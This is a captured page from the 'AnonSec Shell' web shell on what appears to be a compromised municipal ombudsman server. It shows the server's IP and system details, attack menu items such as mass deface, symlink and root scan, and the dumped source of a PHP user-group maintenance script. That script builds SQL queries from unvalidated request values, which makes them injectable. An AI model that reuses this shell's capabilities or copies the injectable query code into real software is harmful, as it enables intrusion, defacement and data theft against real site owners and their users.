AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ouvidoria/pmcrateus/restrito/sis_grupo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/ouvidoria/pmcrateus/restrito/sis_grupo/manutencaousuarios.php
<?php


    include_once("../inc/autenticar.php");
    checkPerm("INSGRU");

    // Verifica se o grupo foi selecionado
    function estaSelecionado($pLogin)
    {
        global $selecionados;

        foreach ($selecionados as $login) {
            if ($login==$pLogin)
                return true;
        }

        return false;
    }

    //fun��o de valida��o dos dados do formulario do cadastro de usuario -------------------
    function validaDados()
    {
        global $erro;
        global $acao;
        global $selecionados;
        global $idgrupo;

        return true;
    }

    //------------------------------------------------------------------------------------------
    $acao = "Salvar";
    $erro = "";

    //se tiver sido postado informação do formulario
    if ($_POST['acao']) {

        //recupera valores do formulario
        $acao         = $_POST["acao"];
        $idgrupo      = $_POST["idgrupo"];
        $nomegrupo    = $_POST["nomegrupo"];
        $selecionados = $_POST["selecionados"];


        if (validaDados()) {

            $con          = db_open_trans();
            $all_query_ok = true;

            $sql = "delete from sis_grupousuario where idgrupo = $idgrupo";

            if (!$con->query($sql)) {
                $all_query_ok = false;
                $erro         = "Ocorreu um erro ao excluir usuario do grupo.";
            } else {
                foreach ($selecionados as $usr) {
                    $sql       = "select idusuario from sis_usuario where login = '$usr'";
                    $rs        = execQuery($sql);
                    $row       = mysql_fetch_array($rs);
                    $idusuario = $row['idusuario'];

                    $sql
                        = "insert into sis_grupousuario (idgrupo, idusuario)
                                        values ('$idgrupo', $idusuario)";

                    if (!$con->query($sql)) {
                        $all_query_ok = false;
                        $erro         = "Ocorreu um erro ao inserir usuario no grupo.";
                        //echo $sql;
                        break;
                    }

                }
            }

            if (!$all_query_ok) {
                $con->rollback();
            } else {
                $con->commit();

                logger("Adicionou Usuario a grupo");
                header("Location: index.php");
            }

            $con->close();

        }
    } else {
        $idgrupo = $_GET["idgrupo"];
        $sql     = "select nome from sis_grupo where idgrupo = $idgrupo";
        $result  = execQuery($sql);
        $row     = mysql_fetch_array($result);

        $nomegrupo = $row["nome"];

        $sql
            = "select login from sis_grupousuario gu, sis_usuario u
                        where gu.idusuario = u.idusuario and gu.idgrupo = $idgrupo";

        $i         = 0;
        $resultado = execQuery($sql);
        while ($registro = mysql_fetch_array($resultado)) {
            $selecionados[$i] = $registro['login'];
            $i++;
        }

    }

?>

Anon7 - 2022
AnonSec Team